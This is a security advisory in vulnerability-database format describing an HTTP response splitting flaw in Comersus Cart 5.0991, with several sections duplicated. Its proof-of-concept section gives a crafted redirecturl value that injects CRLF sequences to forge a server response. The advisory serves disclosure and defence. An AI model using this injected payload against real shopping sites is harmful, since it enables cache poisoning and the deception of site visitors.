Comersus Cart HTTP Response Splitting Vulnerability
BID:11083
Info
Comersus Cart HTTP Response Splitting Vulnerability
| Bugtraq ID: | 11083 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 01 2004 12:00AM |
| Updated: | Sep 01 2004 12:00AM |
| Credit: | Discovery is credited to Maestro De-Seguridad <[email protected]>. |
| Vulnerable: |
Comersus Open Technologies Comersus Cart 5.0 991 |
| Not Vulnerable: | |
Discussion
Comersus Cart HTTP Response Splitting Vulnerability
Comersus Cart is reported prone to a HTTP response splitting vulnerability. A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.
This issue was identified in Comersus Shopping Cart 5.0991, however, other versions may be affected as well.
Comersus Cart is reported prone to a HTTP response splitting vulnerability. A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.
This issue was identified in Comersus Shopping Cart 5.0991, however, other versions may be affected as well.
Exploit / POC
Comersus Cart HTTP Response Splitting Vulnerability
The following proof of concept example is available:
http://www.example.com/path_to_comersus/comersus_customerLoggedVerify.asp?
redirecturl=%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-L
ength:%2028%0d%0a%0d%0a{html}0wned%20by%20me{/html}
The following proof of concept example is available:
http://www.example.com/path_to_comersus/comersus_customerLoggedVerify.asp?
redirecturl=%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-L
ength:%2028%0d%0a%0d%0a{html}0wned%20by%20me{/html}
Solution / Fix
Comersus Cart HTTP Response Splitting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Comersus Cart HTTP Response Splitting Vulnerability
References:
References:
- Comersus Cart Homepage (Comersus Open Technologies)